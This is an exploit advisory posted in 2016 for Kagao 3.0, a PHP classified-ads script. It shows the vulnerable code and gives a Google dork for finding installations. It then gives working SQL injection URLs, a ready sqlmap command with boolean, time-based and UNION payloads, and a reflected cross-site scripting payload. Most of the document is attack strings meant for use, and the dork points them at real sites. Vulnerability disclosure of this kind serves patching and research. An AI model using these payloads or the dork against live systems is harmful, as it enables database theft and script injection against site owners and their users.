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Kagao 3.0 Cross Site Scripting / SQL Injection

Posted on 28 June 2016

######################
# Application Name : Kagao v3.0 - Professional Classified Market

# Google Dork : inurl:/cat1.php?id2=

# Exploit Author : Cyber Warrior | Bug Researchers Group | N4TuraL

# Vendor Homepage : http://kogaoscript.com/

# Vulnerable Type : SQL Injection & Cross Site Scripting

# Date : 2016-06-26

# Tested on : Windows 10 / Mozilla Firefox
# Linux / Mozilla Firefox
# Linux / sqlmap 1.0.6.28#dev

###################### SQL Injection Vulnerability ######################

# Location :
http://localhost/[path]/cat1.php

######################

# Vulnerable code :

function pagenat(){

$buildLink = array(
"id" => intval($_GET['id']),
"id2" => isset($_GET['id2']) ? intval($_GET['id2']) : '',
"suche" => htmlspecialchars($_GET['suche']),
"sucheWo" => htmlspecialchars($_GET['sucheWo']),
"umkreis" => intval($_GET['umkreis']),
"page" => ""

);

$buildLink = http_build_query($buildLink);
$buildLink = 'cat1.php?' . $buildLink;

if($_GET['id2']){
$pages_num = getZahlPage($_GET['id2'], 'unterkategorie');
}
else{
$pages_num = getZahlPage($_GET['id'], 'kategorie');
}

$page = (isset($_GET['page'])) ? max($_GET['page'], 1) : 1;
$pages = ($pages_num > 1) ? pages($pages_num, $page, $buildLink) : '';
echo $pages;
}

######################

# PoC Exploit:

http://localhost/[path]/cat1.php?id2=999999.9%22%20union%20all%20select%20concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28database%28%29%20as%20char%29%29%29%2C0x27%2C0x7e%29--%20a

# Exploit Code via sqlmap:

sqlmap -u http://localhost/[path]/cat1.php?id2=10 --dbms=mysql --random-agent --technique=BUESTQ --dbs --tamper=versionedkeywords --level=3 --risk=3 --no-cast

Parameter: id2 (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id2=10" AND 9863=9863 AND "UvFy"="UvFy

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id2=10" AND SLEEP(5) AND "Zxun"="Zxun

Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: id2=-5676" UNION ALL SELECT CONCAT(0x716b786271,0x4e77456d62457a716850544f776d506c7679624969616c6b47417542766c4152464c6a665a7a7064,0x7162767671)-- vvJN
---

###################### Cross Site Scripting Vulnerability ######################

# PoC Exploit:

Search: "><script>alert('n4tural');</script>

http://localhost/[path]/cat1.php?id2=0&pricestart=0&room=&flache=&price=&zulassung=&kilometer=&kraftstoff=&id3=0&suche=%22%3E%3Cscript%3Ealert%28%27n4tural%27%29%3B%3C%2Fscript%3E&id=0&sucheWo=&umkreis=0

######################

 

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